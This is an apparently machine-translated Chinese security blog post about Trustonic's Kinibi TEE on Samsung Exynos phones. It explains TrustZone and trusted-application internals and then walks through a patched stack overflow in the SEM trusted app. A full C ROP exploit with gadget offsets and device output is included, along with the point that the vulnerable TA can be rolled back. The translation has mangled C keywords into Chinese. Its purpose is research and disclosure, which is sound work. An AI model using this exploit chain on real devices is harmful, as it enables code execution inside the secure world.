【譯】KINIBI TEE: TRUSTED APPLICATION EXPLOITATION

一段時間以來,Android設備和許多嵌入式系統都使用了受信任的執行環境(TEE)來託管一些安全功能(如硬件加密/密鑰,DRM,移動支付,生物識別等)。 在ARM平臺上,TEE是小型操作系統,它們使用ARM TrustZone技術將其執行與標準操作系統(例如Linux)隔離開。

TEE操作系統比Rich Execution Environment(智能手機中的REE,Android)簡單得多,並且對逆向工程很有趣。 這篇博客文章專門介紹Trustonic的TEE實施,尤其是三星爲其Exynos芯片組進行的集成。 三星最近在受信任的應用程序中修復了一個小漏洞。 在對TrustZone / Kinibi進行簡要說明之後,本文詳細介紹了此漏洞的利用。

信任區

在TrustZone體系結構中,TEE在安全的EL1異常級別上運行。 可將受信任的應用程序加載到其之上,並在安全的EL0異常級別上運行。 受信任的應用程序是經過簽名的圖像,只有在圖像簽名正確且來自受信任的開發人員的情況下,才能加載該圖像。

REE通過執行安全監視器調用(在內核模式下使用特權SMC指令)與TEE通信。 這些調用由安全監視器處理,並中繼到TEE內核。

 

TrustZone架構

TrustZone架構

TrustZone允許通過使用非安全標誌(NS)標記內存來將安全世界的內存與正常世界隔離。 在正常情況下運行的代碼只能訪問標記爲NS的內存。

在手機上,有3種主要的TEE實現:

  • 基於Qualcomm SoC的設備上的QSEE / QTEE
  • 華爲的TrustedCore
  • 來自Trustonic的Kinibi

存在一個開源實現: op-tee ,此版本可以在Qemu和某些開發板上運行。

基尼比

Kinibi是Trustonic(也稱爲T-Base或Mobicore)構建的TEE實現,主要用於Mediatek和Exynos SoC。 Kinibi由多個組件組成:

  • 微內核:MTK
  • 運行時管理器:RTM
  • 很少的內置驅動程序:加密,安全存儲,...
  • 應用程序/驅動程序使用的幫助程序庫:McLib

Kinibi僅在Aarch32模式下運行。

基尼比建築

基尼比建築

微內核以安全的EL1異常級別運行。 它提供對驅動程序和受信任的應用程序的系統調用,並強制執行任務隔離。 安全監視器中的一段代碼將SMC中斷從正常環境中繼到TEE內核,從而允許兩個環境之間進行通信。 內核還執行搶佔式調度。

運行時管理器是Kinibi的主要任務,它管理普通世界客戶端和受信任的應用程序之間的會話。 當REE客戶端打開新會話時,RTM首先檢查應用程序是否已經加載。 加載過程涉及應用程序二進制文件的簽名檢查。 還可以對應用程序二進制文件進行加密,因此RTM在加載受信任的應用程序之前對其進行解密。

驅動程序在安全的EL0異常級別運行,並且由於其二進制文件與受信任的應用程序具有完全相同的格式,因此它們將加載相同的API。 與TA相比,驅動程序可以訪問的系統調用更多。 這些額外的系統調用使驅動程序可以映射其他任務內存,物理內存,執行SMC調用等。

McLib庫爲TA和驅動程序提供了API。 它是二進制文件,映射到每個驅動程序或應用程序任務中的固定地址。 應用程序通過跳轉到r0寄存器中具有API ID的庫入口點來使用該庫。 TA和驅動程序的功能稱爲tlApi*而僅驅動程序的功能稱爲drApi* 。 API函數的定義可以在許多GitHub存儲庫中找到,這有助於逆向工程。

在Samsung手機上,可以從sboot.bin輕鬆提取這些組件。 @kutyacica在ekoparty會議上提出了一種提取這些部分的好方法。 他在sboot.bin二進制文件中找到一個表,其中包含不同組件的偏移量。 自Galaxy S6以來,此表的格式略有變化,但解壓縮二進制文件仍然很簡單。

受信任的應用程序

在大多數情況下,受信任的應用程序和驅動程序是簽名的二進制文件,但未加密,可以輕鬆進行分析。 在三星手機上,這些二進制文件存儲在/vendor/app/mcRegistry//system/app/mcRegistry/目錄中。

受信任的應用程序和驅動程序二進制文件使用的格式是MCLF格式。 該格式記錄在trustonic-tee-user-space GitHub項目上可用的頭文件中。 mclf-ida-loader可幫助您在IDA中加載此格式。

加載TA時,Kinibi使用MCLF頭映射TA存儲空間中的代碼,數據和bss區域。 mcLib庫映射到固定地址(Galaxy S8 / S9上爲0x07d00000 )。 打開會話時,共享緩衝區(稱爲tci )也映射到固定地址: 0x001000000x00300000具體取決於MCLF標頭中指定的版本。

REE中的TA客戶端可以映射新的共享內存區域,這些區域映射爲0x00200000 + map_id*0x00100000 。

 

TA內存映射

TA內存映射

大多數受信任的應用程序將tci共享內存用於輸入和輸出緩衝區,前32位用作命令ID。 通常,初始化是在入口點完成的(加密初始化,堆棧cookie隨機化等),然後調用main函數。 main函數檢查共享緩衝區的大小,然後啓動主循環。 TA使用tlApiWaitNotification (6)API等待新消息,並處理共享緩衝區的內容。 響應數據被寫入共享緩衝區,TA使用tlApiNotify (7)API通知REE,並等待新消息。

TA開發101

即使TEE操作系統專用於安全性操作,該操作系統也沒有像ASLR / PIE這樣的安全性強化,這使得利用受信任的應用程序中的漏洞非常容易。

G955FXXU2CREDG955FXXU3CRGH (對於Galaxy S8 +)之間的某個G955FXXU2CRED ,三星修補了SEM TA( fffffffff0000000000000000000001b.tlbin )。

該修補程序修復了0x1B命令處理程序中直接可達到的基於堆棧的緩衝區溢出。 此外,在此TA的新版本中啓用了堆棧cookie。

  / * G955FXXU2CRED中的僞代碼* /
 無效 __fastcall handle_cmd_id_0x1b ( unsigned int * tciBuffer)
 {
   // [...]
   字符 v64 [ 256 ];  // [sp + 158h] [bp-770h]
   字符 v65 [ 256 ];  // [sp + 258h] [bp-670h]
   字符 v66 [ 200 ];  // [sp + 358h] [bp-570h]
   字符 v67 [ 1024 ];  // [sp + 420h] [bp-4A8h]
   字符 v68 [ 64 ];  // [sp + 820h] [bp-A8h]
   字符 v69 [ 52 ];  // [sp + 860h] [bp-68h]
   int v70;  // [sp + 894h] [bp-34h]

   bzero( v66,0xC8u );
   bzero( v64,0x100u );
   bzero( v65,0x100u );
   bzero( v68,0x40u );
   v4 = tciBuffer [ 2 ];
   v5 = tciBuffer [ 3 ];
   //具有源和長度受控的memcpy
   memcpy(v66, tciBuffer + 4 , tciBuffer [ 3 ]);
   v6 = v5 + 12 ;
   v7 = * ( int * )(( char * )tciBuffer + v5 + 16 );
   如果 ( tciBuffer [ 23042 ] > ( unsigned int )(v7 + 208 ) )
   {
     snprintf(v67,0x400, “〜%18s:%4d:輸入數據通過緩衝區。” , v8,113 );
     print( “ [E] SEM%s \ n ” , v67);
     回報 ;
   }
   // [...]

沒有堆棧cookie,在命令處理程序中直接可以訪問基於堆棧的緩衝區溢出,這應該使您想起您的第一個漏洞利用/挑戰。

受信任的應用程序具有映射的執行代碼頁和讀寫數據頁。 Kinibi沒有像mprotect的syscall,也不提供syscall和Trusted Applications之間的map ,因此在TA中執行任意代碼的唯一方法是對其代碼進行ROP。

爲了與TEE通信,使用了libMcClient.so庫。 該庫提供了加載TA,打開會話,映射內存並通知受信任的應用程序的功能。 Trustonic提供了使用此庫的頭文件: MobiCoreDriverApi.h 。 在Android上,只有某些特權應用程序和具有特定SElinux上下文的應用程序可以使用TEE驅動程序。

這是一個簡單的漏洞利用,ROP在Samsung設備上打印受控日誌字符串,TEE日誌以kmsg打印。

  #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys / stat.h>

 #include “ MobiCoreDriverApi.h”

 #define err(f_,...){printf(“ [\ 033 [31; 1m!\ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define ok(f_,...){printf(“ [\ 033 [32; 1m + \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define info(f_,...){printf(“ [\ 033 [34; 1m- \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define warn(f_,...){printf(“ [\ 033 [33; 1mw \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}

 int main ( int argc, char ** argv) {
     mcResult_t ret;
     mcSessionHandle_t session = { 0 };
     mcBulkMap_t 地圖;
     uint32_t stack_size;
     char * to_map;


     // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
 // --rawArch arm --rawMode thumb --offset 0x1000
     uint32_t rop_chain [] = {
         0x38c2 +1 , // pop {r0,r1,r2,r3,r4,r5,r6,pc}
         0x0 , // r0(將是要打印的字符串)
         0x0 , // r1(參數,將在mcMap之後設置)
         0x0 , // r2(未使用)
         0x0 , // r3(未使用)
         0x0 , // r4(未使用)
         0x0 , // r5(未使用)
         0x0 , // r6(未使用)
         0x25070 + 1 // tlApiPrintf包裝器
     };

     文件 * f = fopen(
         “ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” ,
         “ rb”
     );
     如果 ( ! f) {
         err( “無法打開TA%s \ n ” ,argv [ 1 ]);
         返回 1 ;
     }
     fseek(f, 0 , SEEK_END);
     uint32_t ta_size = ftell(f);
     fseek(f, 0 , SEEK_SET);


     char * ta_mem = malloc(ta_size);
     if (fread(ta_mem, ta_size, 1 , f) != 1 ) {
         err( “無法讀取TA” );
         返回 1 ;
     }

     uint32_t tciLen = 0x20000 ;  // TA訪問此WSM上的固定偏移量
                                //因此緩衝區應該足夠大
     uint32_t * tci = malloc(tciLen);

     ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
     如果 (ret != MC_DRV_OK) {
         err( “無法mcOpenDevice \ n ” );
         返回 1 ;
     }

     to_map = strdup( “->來自受信任應用程序的Hello <- \ n ” );

     ret = mcOpenTrustlet( & session, 0 , ta_mem, ta_size, 
                          ( uint8_t * ) tci , tciLen);
     如果 (ret == MC_DRV_OK) {
         //將字符串映射到TA虛擬空間中,API返回
         // TA空間中的地址。
         ret = mcMap( & session, to_map, 40960 , (mcBulkMap_t * ) & map);
         如果 (ret != MC_DRV_OK) {
             err( “無法映射到 \ n ” );
             返回 1 ;
         }
         ok( “ TA虛擬內存中的地址:0x%x \ n ” , map.sVirtualAddr);

         // rop_chain [1]爲R0,將其指向TA中的字符串
         //地址空間。
         rop_chain [ 1 ] = map.sVirtualAddr;

         stack_size = 0x54c ;  //填充堆棧框架
         stack_size + = 0x20 ;  //彈出的寄存器大小

         //填充tciBuffer
         tci [ 0 ] = 27 ;  // cmd ID
         tci [ 3 ] = stack_size + sizeof (rop_chain);  // memcpy大小
         memcpy( & tci [ 4 + stack_size / 4 ], & rop_chain, sizeof (rop_chain));

         //通知助教
         mcNotify( & session);
         mcWaitNotification( & session, 2000 );
         mcCloseSession( & session);
     }
     mcCloseDevice(MC_DEVICE_ID_DEFAULT);
     返回 0 ;
 }
  dreamlte:/#/數據/本地/ tmp / exploit_sem
 [+] TA虛擬內存中的地址:0x2005f0

 dreamlte:/#dmesg -c |  grep TEE
 TEE:b01 | [I] SEM [INFO]:開始SEM TA ::版本:2016.06.15.1
 TEE:b01 | [E] SEM錯誤的CCM版本
 TEE:b01 | [E] SEM錯誤的CCM版本
 TEE:b01 | [E] SEM handleCCMDataSWP [錯誤END]
 TEE:b01 |->從受信任的應用程序<-您好

結論

本文顯示了在Trusted App中實現任意代碼執行有多麼容易。 SEM應用程序還包含其他重要漏洞,但是堆棧cookie限制了漏洞利用。

由於TEE提供了一種防回滾機制,因此在最新設備上,TA中的修補漏洞應該是無法利用的。 不幸的是,三星在合併與安全相關的補丁時並不總是增加版本號。 SEM TA就是這種情況,這意味着仍可以加載和利用舊版本。
在許多三星設備上,防回滾機制似乎根本不起作用(例如在S8上)。

由於攻擊者可以與安全驅動程序和TEE內核syscall進行交互,因此在受信任的應用程序中獲得代碼執行會大大增加攻擊面。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章